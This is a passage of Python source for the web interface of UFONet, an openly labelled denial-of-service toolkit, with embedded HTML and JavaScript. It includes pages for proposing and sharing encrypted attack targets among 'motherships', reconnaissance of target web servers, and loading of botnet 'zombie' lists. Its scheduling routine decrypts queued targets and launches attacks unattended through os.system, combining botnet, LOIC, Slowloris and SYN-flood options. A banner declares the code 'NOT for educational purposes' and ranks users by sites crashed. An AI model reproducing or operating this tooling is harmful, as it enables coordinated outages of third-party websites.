  961. params="id="+escape(id)
  962. runCommandX("cmd_job_cancel", params)
  963. setTimeout("Decrypt_wargames()", 2000)
  964. }
  965. function JobRemoveAll(key) {
  966. params="key="+escape(key)
  967. runCommandX("cmd_job_remove_all", params)
  968. setTimeout("Decrypt_wargames()", 2000)
  969. }
  970. function JobCancelAll() {
  971. runCommandX("cmd_job_cancel_all")
  972. setTimeout("Decrypt_wargames()", 2000)
  973. }
  974. function JobFilter(filter, key) {
  975. params="filter="+escape(filter)+"&key="+escape(key)
  976. runCommandX("cmd_job_filter", params)
  977. setTimeout("Decrypt_wargames()", 2000)
  978. }
  979. function EditSupply(){
  980. if(document.getElementById("supply_edit").value == "EDIT"){
  981. document.getElementById("supply_botnet").readOnly = false;
  982. document.getElementById("supply_loic").readOnly = false;
  983. document.getElementById("supply_loris").readOnly = false;
  984. document.getElementById("supply_ufosyn").readOnly = false;
  985. document.getElementById("supply_edit").title = "Set global army supply..."
  986. document.getElementById("supply_edit").value = "SET"
  987. document.getElementById("supply_edit").innerHTML = "SET!"
  988. }else{
  989. supply_botnet=document.getElementById("supply_botnet").value
  990. supply_loic=document.getElementById("supply_loic").value
  991. supply_loris=document.getElementById("supply_loris").value
  992. supply_ufosyn=document.getElementById("supply_ufosyn").value
  993. if(isNaN(parseFloat(supply_botnet)) || parseFloat(supply_botnet) < 0) {
  994. window.alert("You need to enter a valid BOTNET supply number (int>=0)");
  995. return
  996. }else{
  997. if(isNaN(parseFloat(supply_loic)) || parseFloat(supply_loic) < 0) {
  998. window.alert("You need to enter a valid LOIC supply number (int>=0)");
  999. return
  1000. }else{
  1001. if(isNaN(parseFloat(supply_loris)) || parseFloat(supply_loris) < 0) {
  1002. window.alert("You need to enter a valid LORIS supply number (int>=0)");
  1003. return
  1004. }else{
  1005. if(isNaN(parseFloat(supply_ufosyn)) || parseFloat(supply_ufosyn) < 0) {
  1006. window.alert("You need to enter a valid UFOSYN supply number (int>=0)");
  1007. return
  1008. }else{
  1009. document.getElementById("supply_botnet").readOnly = true;
  1010. document.getElementById("supply_loic").readOnly = true;
  1011. document.getElementById("supply_loris").readOnly = true;
  1012. document.getElementById("supply_ufosyn").readOnly = true;
  1013. document.getElementById("supply_edit").title = "Edit global army supply..."
  1014. document.getElementById("supply_edit").value = "EDIT"
  1015. document.getElementById("supply_edit").innerHTML = "EDIT"
  1016. params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)
  1017. runCommandX("cmd_edit_supply",params)
  1018. setTimeout("Decrypt_wargames()", 2000)
  1019. }
  1020. }
  1021. }
  1022. }
  1023. }
  1024. }
  1025. </script>
  1026. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1027. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1028. <br>
  1029. <center>
  1030. <table cellpadding="5" cellspacing="5"><tr>
  1031. <td><a href="javascript:alert('Vnïjwvödvnh says: """ + self.ranking + """... Are you searching for some real action?. Well, this is your place...');"><img src="/images/aliens/alien8.png"></a></td>
  1032. <td>
  1033. <pre>This feature will allow you to propose/join some real 'wargames'.
  1034. <hr>
  1035. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source' id='wargames_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'wargames' proposed by other motherships..." onclick="SyncWargames()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="wargames_deckey" id="wargames_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_wargames();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>Your proposal:</td><td><input type="text" name="wargames_target" id="wargames_target" size="30" placeholder="http(s)://" required pattern="https?://.+"></td></tr><tr><td>Date time (UTC):</td><td><input type="text" name="wargames_estimated" id="wargames_estimated" size="20" placeholder="dd-mm-yyyy hh:mm:ss" required pattern=".+-.+-.+ .+:.+:.+"> (ex: """+str(now)+""")</td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source2' id='wargames_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="wargames_enckey" id="wargames_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your proposal to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table>
  1036. <hr><br>
  1037. <u>WARGAMES</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+wargames_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1038. def html_abduction(self):
  1039. return self.pages["/header"] + """<script language="javascript">
  1040. function Requests() {
  1041. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1042. }
  1043. function Start(){
  1044. target=document.getElementById("target").value
  1045. String.prototype.startsWith = function(prefix){
  1046. return this.indexOf(prefix) === 0;
  1047. }
  1048. if(target.startsWith("http")){
  1049. params="target="+escape(target)
  1050. }else{
  1051. window.alert("You need to enter a valid url: http(s)://target.com");
  1052. return
  1053. }
  1054. runCommandX("cmd_abduction",params)
  1055. }
  1056. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1057. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1058. <br>
  1059. <center>
  1060. <table cellpadding="5" cellspacing="5"><tr>
  1061. <td><a href="javascript:alert('Ofgöfeejh says: """ + self.ranking + """... Lets research about our enemies first, right?...');"><img src="/images/aliens/alien7.png"></a></td>
  1062. <td>
  1063. <pre>
  1064. This feature will provide you information about target's web server.
  1065. You can use this before to attack to be more effective.
  1066. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  1067. <hr>
  1068. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  1069. <hr>
  1070. <button title="Start to research about your target's webserver configuration..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">RESEARCH!</button>
  1071. </pre>
  1072. </td></tr></table>
  1073. <hr><br>
  1074. </center>
  1075. <div id="cmdOut"></div>""" + self.pages["/footer"]
  1076. def html_blackholes(self):
  1077. return self.pages["/header"] + """<script language="javascript">
  1078. function Decrypt(){
  1079. blackhole_key=document.getElementById("blackhole_key").value
  1080. if(blackhole_key == "") {
  1081. window.alert("You need to enter a valid key (provided by someone)");
  1082. return
  1083. }else{
  1084. params="blackhole_key="+escape(blackhole_key)
  1085. runCommandX("cmd_decrypt",params)
  1086. document.getElementById("nb1").style.display = "none";
  1087. }
  1088. }
  1089. </script>
  1090. <script language="javascript">
  1091. function RefreshBlackhole(){
  1092. blackholes_source=document.getElementById("blackholes_source").value
  1093. if(blackholes_source == "") {
  1094. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1095. return
  1096. }else{
  1097. params="blackholes_source="+escape(blackholes_source)
  1098. runCommandX("cmd_refresh_blackholes",params)
  1099. document.getElementById("nb1").style.display = "none";
  1100. setTimeout("location.reload()", 10000)
  1101. }
  1102. }
  1103. </script>
  1104. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1105. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1106. <br>
  1107. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  1108. <td>Blackhole/IP:</td>
  1109. <td><input type="text" name="blackholes_source" id="blackholes_source" size="20" value='"""+default_blackhole+"""'></td>
  1110. </tr></table></td><td><button title="Refreshing blackhole..." onClick="RefreshBlackhole()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Open Warp!</button></td></tr></table>
  1111. <hr>
  1112. <table cellpadding="5" cellspacing="5"><tr>
  1113. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed way...');"><img src="/images/aliens/alien3.png"></a></td><td>
  1114. <table cellpading="5" cellspacing="10"><tr><td>
  1115. <form method='GET'>
  1116. Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
  1117. </td></tr><tr><td>
  1118. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  1119. </form>
  1120. </td></tr></table></td></tr></table>
  1121. <hr><br>
  1122. </center>
  1123. Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
  1124. <div id="cmdOut"></div>
  1125. <div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
  1126. """ + self.pages["/footer"]
  1127. def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply)
  1128. sep = "#-#"
  1129. for job in wargames_engage_list:
  1130. job_t2 = job.rsplit(sep, 1)[0]
  1131. job_creation = job_t2.rsplit(sep, 1)[0]
  1132. job_target = job_t2.rsplit(sep, 1)[1]
  1133. job_estimated = job.rsplit(sep, 1)[1]
  1134. self.decrypt(self.crypto_key, job_estimated)
  1135. if self.decryptedtext:
  1136. job_estimated_dec = self.decryptedtext
  1137. else:
  1138. job_estimated_dec = ""
  1139. self.decryptedtext = ""
  1140. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1141. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  1142. job_estimated_dec = strptime(job_estimated_dec, "%d-%m-%Y %H:%M:%S")
  1143. if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<')
  1144. self.decrypt(self.crypto_key, job_target)
  1145. if self.decryptedtext:
  1146. job_target_dec = self.decryptedtext
  1147. else:
  1148. job_target_dec = ""
  1149. self.decryptedtext = ""
  1150. if job_target_dec is not "":
  1151. job_target_dec = "http://" + job_target_dec # set target prefix to http://
  1152. try: # read global army supply (json)
  1153. with open(self.mothership_supplycfg_file) as data_file:
  1154. data = json.load(data_file)
  1155. except:
  1156. print '[Info] - Cannot found: "core/json/supplycfg.json". Generating...'
  1157. with open(self.mothership_supplycfg_file, "w") as f:
  1158. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0}, f, indent=4)
  1159. with open(self.mothership_supplycfg_file) as data_file:
  1160. data = json.load(data_file)
  1161. self.supply_botnet = data["botnet"]
  1162. self.supply_loic = data["loic"]
  1163. self.supply_loris = data["loris"]
  1164. self.supply_ufosyn = data["ufosyn"]
  1165. job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec)
  1166. print "[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec)
  1167. if int(self.supply_ufosyn) > 0: # ufosyn: root required!
  1168. if int(self.supply_loris) > 0:
  1169. if int(self.supply_loic) > 0:
  1170. runcmd = "sudo python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" --loic "+str(self.supply_loic)+" --loris "+str(self.supply_loris)+" --ufosyn "+str(self.supply_ufosyn)+ " "
  1171. else:
  1172. runcmd = "sudo python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" --loris "+str(self.supply_loris)+" --ufosyn "+str(self.supply_ufosyn)+ " "
  1173. else:
  1174. runcmd = "sudo python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" --ufosyn "+str(self.supply_ufosyn)+ " "
  1175. else:
  1176. if int(self.supply_loris) > 0:
  1177. if int(self.supply_loic) > 0:
  1178. runcmd = "python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" --loic "+str(self.supply_loic)+" --loris "+str(self.supply_loris)+ " "
  1179. else:
  1180. runcmd = "python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" --loris "+str(self.supply_loris)+ " "
  1181. else:
  1182. runcmd = "python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+ " "
  1183. runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!)
  1184. print "[Info] [Wargames] Running command:", runcmd, "\n"
  1185. os.system(runcmd) # launch it!
  1186. if "!!!" in job: # remove it from queue (unjob)
  1187. f = open(self.wargames_file, "r")
  1188. ls = f.readlines()
  1189. f.close()
  1190. f = open(self.wargames_file, "w")
  1191. for l in ls:
  1192. if str(l) != str(job):
  1193. f.write(l)
  1194. else:
  1195. job = re.sub('[!!!]', '', job)
  1196. f.write(job)
  1197. f.close()
  1198. def __init__(self):
  1199. self.crypto_key = crypto_key # set default symmetric crypto key
  1200. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  1201. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  1202. self.board_file = 'server/board.txt' # set source path to retrieve board warning message
  1203. self.grid_file = 'server/grid.txt' # set source path to retrieve grid
  1204. self.board_warning = "" # set initial (str) board warning message
  1205. self.wargames_file = 'server/wargames.txt' # set source path to retrieve wargames
  1206. self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
  1207. self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
  1208. self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
  1209. self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
  1210. self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
  1211. self.release_date_file = "docs/release.date" # set source path to retrieve release date
  1212. self.news = "server/news.txt" # set source path to retrieve server news
  1213. self.missions = "server/missions.txt" # set source path to retrieve server missions
  1214. self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
  1215. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  1216. self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
  1217. self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
  1218. self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg
  1219. self.ranking = "Rookie Star" # set starting rank
  1220. self.decryptedtext = "" # set buffer for decryption
  1221. self.encryptedtext = "" # set buffer for encryption
  1222. self.blackholes = "server/nodes.dat" # set source path to retrieve server blackholes (nodes.dat)
  1223. self.blackhole = default_blackhole # set default blackhole
  1224. self.blackholes_status = "Not connected!" # set default status for blackholes
  1225. self.blackholes_status_color = "red" # set default status color for blackholes
  1226. self.referer = 'http://127.0.0.1/'
  1227. self.mothershipname = "core/txt/shipname.txt"
  1228. f = open(self.mothershipname) # extract ship name
  1229. self.mothership_id = f.read()
  1230. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1231. f.close()
  1232. f = open(self.release_date_file) # extract release creation datetime
  1233. self.release_date = f.read()
  1234. # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
  1235. self.trans_5C = "".join([chr (x ^ 0x5c) for x in xrange(256)])
  1236. self.trans_36 = "".join([chr (x ^ 0x36) for x in xrange(256)])
  1237. f.close()
  1238. f = open(self.blackholes) # double extract blackholes (nodes.dat)
  1239. self.blackholes_text = f.read()
  1240. f.close()
  1241. f = open(self.blackholes)
  1242. self.blackholes_block = f.readlines()
  1243. f.close()
  1244. self.list_blackholes = []
  1245. for b in self.blackholes_block:
  1246. self.list_blackholes.append(b)
  1247. self.blackholes_datetime = time.ctime(os.path.getctime('server/nodes.dat')) # extract nodes.dat datetime
  1248. if self.blackholes_datetime == self.release_date_file: # never connected to feeds
  1249. self.blackholes_status_color = "red" # set status color for blackholes to 'red'
  1250. else:
  1251. self.blackholes_status_color = "green" # set status color for blackholes to 'green'
  1252. f = open(self.news) # double extract news
  1253. self.news_text = f.read()
  1254. f.close()
  1255. f = open(self.news)
  1256. self.news_block = f.readlines()
  1257. f.close()
  1258. self.list_news = []
  1259. for n in self.news_block:
  1260. self.list_news.append(n)
  1261. self.news_datetime = time.ctime(os.path.getctime('server/news.txt')) # extract news.txt datetime
  1262. if self.news_datetime == self.release_date_file: # never connected to feeds
  1263. self.news_status_color = "red" # set status color for news to 'red'
  1264. else:
  1265. self.news_status_color = "green" # set status color for news to 'green'
  1266. f = open(self.board_file) # double extract board
  1267. self.moderator_text = f.read()
  1268. f.close()
  1269. f = open(self.board_file)
  1270. self.moderator_block = f.readlines()
  1271. f.close()
  1272. self.list_moderator = []
  1273. for n in self.moderator_block:
  1274. self.list_moderator.append(n)
  1275. f = open(self.grid_file) # double grid board
  1276. self.grid_text = f.read()
  1277. f.close()
  1278. f = open(self.grid_file)
  1279. self.grid_block = f.readlines()
  1280. f.close()
  1281. self.list_grid = []
  1282. for n in self.grid_block:
  1283. self.list_grid.append(n)
  1284. f = open(self.wargames_file) # double wargames board
  1285. self.wargames_text = f.read()
  1286. f.close()
  1287. f = open(self.wargames_file)
  1288. self.wargames_block = f.readlines()
  1289. f.close()
  1290. self.list_wargames = []
  1291. for n in self.wargames_block:
  1292. self.list_wargames.append(n)
  1293. f = open(self.missions) # double extract missions
  1294. self.missions_text = f.read()
  1295. f.close()
  1296. f = open(self.missions)
  1297. self.missions_block = f.readlines()
  1298. f.close()
  1299. self.list_missions = []
  1300. for m in self.missions_block:
  1301. self.list_missions.append(m)
  1302. self.missions_datetime = time.ctime(os.path.getctime('server/missions.txt')) # extract missions.txt datetime
  1303. if self.missions_datetime == self.release_date_file: # never connected to feeds
  1304. self.missions_status_color = "red" # set status color for missions to 'red'
  1305. else:
  1306. self.missions_status_color = "green" # set status color for missions to 'green'
  1307. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  1308. data = json.load(stats_json_file)
  1309. stats_json_file.close()
  1310. self.abductor = Abductor(self) # call abductor for data size conversor
  1311. self.aflying = data["flying"]
  1312. self.ascanner = data["scanner"]
  1313. self.atransferred = data["transferred"]
  1314. self.amax_chargo = data["max_chargo"]
  1315. self.amissions = data["missions"]
  1316. self.acompleted = data["completed"]
  1317. self.aloic = data["loic"]
  1318. self.aloris = data["loris"]
  1319. self.aufosyn = data["ufosyn"]
  1320. self.tcrashed = data["crashed"]
  1321. if int(self.acompleted) > 0: # check for attacks completed
  1322. self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
  1323. else:
  1324. self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
  1325. if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
  1326. self.ranking = "Rookie"
  1327. elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
  1328. self.ranking = "Mercenary"
  1329. elif int(self.tcrashed) > 1 and int(self.tcrashed) < 5: # second ranking step with almost 1 crashed
  1330. self.ranking = "Bandit"
  1331. elif int(self.tcrashed) > 5: # third ranking value is only for real "crashers" ;-)
  1332. self.ranking = "UFOmmander!"
  1333. f = open(self.zombies_file)
  1334. self.zombies = f.readlines()
  1335. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1336. self.list_zombies = []
  1337. for zombie in self.zombies:
  1338. t = urlparse(zombie)
  1339. name_zombie = t.netloc
  1340. self.list_zombies.append(name_zombie)
  1341. self.num_zombies = str(len(self.zombies))
  1342. f.close()
  1343. f = open(self.aliens_file)
  1344. self.aliens = f.readlines()
  1345. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1346. self.list_aliens = []
  1347. for alien in self.aliens:
  1348. t = urlparse(alien)
  1349. name_alien = t.netloc
  1350. self.list_aliens.append(name_alien)
  1351. self.num_aliens = str(len(self.aliens))
  1352. f.close()
  1353. f = open(self.droids_file)
  1354. self.droids = f.readlines()
  1355. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1356. self.list_droids = []
  1357. for droid in self.droids:
  1358. t = urlparse(droid)
  1359. name_droid = t.netloc
  1360. self.list_droids.append(name_droid)
  1361. self.num_droids = str(len(self.droids))
  1362. f.close()
  1363. f = open(self.ucavs_file)
  1364. self.ucavs = f.readlines()
  1365. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1366. self.list_ucavs = []
  1367. for ucav in self.ucavs:
  1368. t = urlparse(ucav)
  1369. name_ucav = t.netloc
  1370. self.list_ucavs.append(name_ucav)
  1371. self.num_ucavs = str(len(self.ucavs))
  1372. f.close()
  1373. f = open(self.rpcs_file)
  1374. self.rpcs = f.readlines()
  1375. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1376. self.list_rpcs = []
  1377. for rpc in self.rpcs:
  1378. t = urlparse(rpc)
  1379. name_rpc = t.netloc
  1380. self.list_rpcs.append(name_rpc)
  1381. self.num_rpcs = str(len(self.rpcs))
  1382. f.close()
  1383. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1384. f = open(self.wargames_file, "r")
  1385. ls = f.readlines()
  1386. f.close()
  1387. self.supply_wargames = 0
  1388. self.wargames_engage_list = []
  1389. for l in ls:
  1390. if "!!!" in l:
  1391. self.wargames_engage_list.append(l)
  1392. self.supply_wargames = self.supply_wargames + 1
  1393. if self.supply_wargames > 0:
  1394. if self.supply_wargames == 1:
  1395. c_supply = "wargame"
  1396. else:
  1397. c_supply = "wargames"
  1398. self.current_tasks = '<br>-----------------------------------\n\n+ Jobs: <a href="/wargames">' + str(self.supply_wargames) + '</a> '+c_supply+''
  1399. self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine
  1400. else:
  1401. self.current_tasks = ""
  1402. self.options = UFONetOptions()
  1403. self.pages = {}
  1404. self.pages["/header"] = """<!DOCTYPE html><html>
  1405. <head>
  1406. <link rel="icon" type="image/png" href="/images/favicon.ico" />
  1407. <meta name="author" content="psy">
  1408. <meta name="robots" content="noindex, nofollow">
  1409. <meta http-equiv="content-type" content="text/xml; charset=utf-8" />
  1410. <title>UFONet - Denial of Service Toolkit</title>
  1411. <script language="javascript" src="/lib.js"></script>
  1412. <script language="javascript" src="js/stars.js"></script>
  1413. <style>
  1414. body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
  1415. </style>"""
  1416. self.pages["/footer"] = """</center></body>
  1417. </html>
  1418. """
  1419. self.pages["/ufonet-logo.png"] = base64.b64decode("iVBORw0KGgoAAAANSUhEUgAAAQAAAADvCAYAAAAdFwqFAAAAMGlUWHRDb21tZW50AAAAAABVRk9OZXQgTG9nbyAoaHR0cDovL3Vmb25ldC4wM2M4Lm5ldCmFGnIqAAAgAElEQVR42u2dd5hWxfXHPwcWFpCOoFixoWBBxYpdFDtYErsx0dhLTKLGWBNj11hTbKjRqMEoP1sUGyKKHQIWpCgoggVkpQovZc/vj5mN6/ru7r33nXvfe+873+eZZxf2feeemTnn3DMzpwgemYMq3YC+QB+gN9AF6AB0bPCz7vcVwAJgoW0LGvycDXxk2yQRlvhZrgyIn4JUC3o7YEdgUyvsdULfPcbH1gKfAROtQpgIjAfGi6B+VbwC8IhP4AXYCtgbGATsBFSnhLxvgJeA54EXRPjcr5hXAB6lC31PYF8r9HvF/HZ3icl1ygAYKcJiv5oeHsGEvrUqP1HlWVVWqqIZbwtUuUuVHfz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yehVTynUhWV2tj8btiTy863E1GKvS1s9D5OKbCzwLvC+DdJJ+9yuC5yPCSZKi5ItAB9aIf+fwIvwTUTe2RVzHXoIJpdjOfC2FfwRcT+o4qvxqlKFuXospiDaAS2t+VvXiv1b+D5HfbG2MG2ZiUucs9WBIcDewJ4kl81nVoO3+gRM3v8VMYxRMFfih9q2YdzTivGz+bMI/0lqLX05bo9SBaUFsI1VBoOArTDpt6NiKca9eXK9NskK+rwyjnOLespgc4ddf4w53LtfhM+SHpdXAB5xCMsqdn+9Osafo+73ThjnsoX12oJ6v38NfJZEOu4Sx7dhPWWwjbUCw2AB5oblHyKMKedYvALw8ChNGbTDHB5uZ9sGmHOlutbSWjDj67e0HPL+P0bNivzWEG8yAAAAAElFTkSuQmCC")
  1420. self.pages["/"] = self.pages["/header"] + """<script language="javascript">
  1421. function Start() {
  1422. var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
  1423. }
  1424. </script>
  1425. <script type="text/javascript">
  1426. var text="REMEMBER -> This code is NOT for educational purposes!!";
  1427. var delay=1;
  1428. var currentChar=1;
  1429. var destination="tt";
  1430. function type()
  1431. {
  1432. if (document.getElementById)
  1433. {
  1434. var dest=document.getElementById(destination);
  1435. if (dest)
  1436. {
  1437. dest.innerHTML=text.substr(0, currentChar);
  1438. currentChar++
  1439. if (currentChar>text.length)
  1440. {
  1441. currentChar=1;
  1442. setTimeout("type()", 5000);
  1443. }
  1444. else
  1445. {
  1446. setTimeout("type()", delay);
  1447. }
  1448. }
  1449. }
  1450. }
  1451. function startTyping(textParam, delayParam, destinationParam)
  1452. {
  1453. text=textParam;
  1454. delay=delayParam;
  1455. currentChar=1;
  1456. destination=destinationParam;
  1457. type();
  1458. }
  1459. </script>
  1460. <link rel="stylesheet" href="/js/ufo-cloud.css" />
  1461. </head>
  1462. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1463. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1464. <center><br><br><br><br>
  1465. <table><tr><td><img src="/ufonet-logo.png"></td><td>
  1466. <div class="ufo-cloud">
  1467. <ul>
  1468. <li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
  1469. <li><a href="javascript:alert('In order to achieve what has been undertaken...');"><span></span>'ad susceptum perficiendum'</a></li>
  1470. <li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
  1471. <li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
  1472. <li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
  1473. <li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
  1474. <li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
  1475. <li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
  1476. <li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
  1477. <li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
  1478. <li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
  1479. <li><a href="javascript:alert('From one, learn all...');"><span></span>'ab uno disce omnes'</a></li>
  1480. <li><a href="javascript:alert('One for all, all for one...');"><span></span>'unus pro omnibus, omnes pro uno'</a></li>
  1481. <li><a href="javascript:alert('Do what you are doing...');"><span></span>'age quod agis'</a></li>
  1482. </ul>
  1483. </div>
  1484. </td></tr></table><br>
